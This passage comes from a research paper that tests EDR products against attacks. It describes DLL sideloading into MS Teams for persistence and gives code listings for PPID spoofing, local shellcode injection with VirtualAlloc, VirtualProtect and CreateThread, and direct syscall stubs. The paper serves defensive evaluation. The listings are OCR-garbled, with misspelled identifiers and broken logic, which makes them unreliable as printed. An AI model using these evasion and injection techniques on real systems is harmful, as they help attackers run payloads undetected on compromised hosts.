## 3 Experimental Setup
### Code Analysis
#### 3.2.3 DLL Sideloading  
In this case, we used the Brownie-Koppeling projects to create an evil clone of a legitimate DLL from system32 and added it to the folder of MS Teams so that our encrypted shellcode will be triggered under its process. Moreover, since MS Teams adds itself to the startup, this provides us persistence to the compromised host. Note that EDRs sometimes tend to overlook self-injections as they consider that they do not alter different processes. In Listing 4, we illustrate the shellcode execution method. It is a classic CreateThread() based on local injection that will launch the shellcode under a signed and _benign_ binary process. Unfortunately, the only problem, in this case, is that the DLL is not signed, which may trigger some defense mechanisms. In the provided code, one can observe the usage of VirtualProtect(). This was made to avoid direct RWX memory allocation. In Listing 5, we can see the usage of assembly syscalls. Finally, it should be noted that, for the tests, the installation will be placed and executed in the Desktop folder manually. Figure 3 illustrates that MS Teams allows for DLL hijacking. ```
//AsnGPIG/blockdillsattribute DWORD64 CIGPolicy =PROC_CREATION_MITIGATION_POLICY_BLOCK_RON_MICROSOPT_BINAIREAS_ALWAYS_ON; UpdateProThreadAttribute(sie.lp4 ttributed_list,0,PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,ECIGPolicy,8,...NULL,NULL); //Openhandletoparentprocess HANDPLPLEMENTProcess; NISTATSU status=NtOpenProcess(ahParentProcess,PROCESS_CREATE_PROCESS,#ObjectAttributes,#ClientId); if(status='STATUS_SUCCESS){ printf('[-]'RtOpenProcesserror:%X)=',status); returnFALSE; } //AssignPPIDSpoofattribute UpdateProThreadAttribute(sie.lp4 ttributed_list,0,PROC_THREAD_ATTRIBUTE_PANRET_PROCESS,#ParentProcess,sizeof(HANDLE),NULL,NULL); //InjectionCode //Gethandletoprocessandprimarythread HANDLEWRecomes=pi.hProcess; HANDPLEMENTs=pi.hThread; //Suspendtheprimarythread SumspendThread(hThread); //AllocatingaHWmemorybufferforthepayloadinthetargetprocess LPVOD


```
BOOLexecute_shellcode(LPSTR payload, SIZE_T payloadLen){ //Initsomeimportantvariables void*exec_mem; BOOLret; HANDLEthreadHandle; DWORDoldProtect=0; //AllocateAWmemorybufferfor payload exec_mem=VirtualAlloc(0,payloadLen,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); //Writepayloadtonewbuffer RelMoveMemory(exec_mem,payload,payloadLen); //MakenewbufferasRKsothatpayloadcanbeexecuted ret=VirtualProtect(exec_mem,payloadLen,PAGE_EXECUTE_READ,&oldProtect); //Now,runthepayload if(ret!=0){ threadHandle=CreateThread(0,0,(LPTHREAD_START_ROUTINE)exec_mem,0,0,0); WaitForSingleObject(threadHandle,-1); } returnTRUE; }
```
Listing 5: Sample direct syscalls in Assembly. ```
:SampleSyscalls :  Windows7 SP1/Server2008R2 specificsyscalls ; :
```
NtWriteVirtualMemory7 SP1 proc movr10,rcx movex,37h syscall ret NtWriteVirtualMemory7 SP1 endp NtProtectVirtualMemory7 SP1 proc movr10,rcx movex,4 bh syscall ret NtProtectVirtualMemory7 SP1 endp

## 4 EDR Evaluation

In what follows, we evaluate eleven state-of-the-art EDRs against our attacks. To this end, we provide a brief overview of each EDR and its features. Then, we proceed reporting which features were enabled and discuss how each of them performed in the attack scenario. EDRs are listed in alphabetical order. ### Carbon Black

Carbon Black is one of the leading EDR solutions. Its true power comes from its telemetry and its ability to extensively monitor every action performed on a system, such as registry modifications, network connections, etc., and, most importantly, provide an SOC-friendly interface to triage the host. Based on the telemetry collected from the sensor, a comparison to several IoCs. The latter will be aggregated into a score which, depending on its value, will trigger an alert. Moreover, when considering EDRs, configuration plays a vital role. Therefore, in this case, we have a custom SOC feed for detections based on IOCs that Carbon Black processes.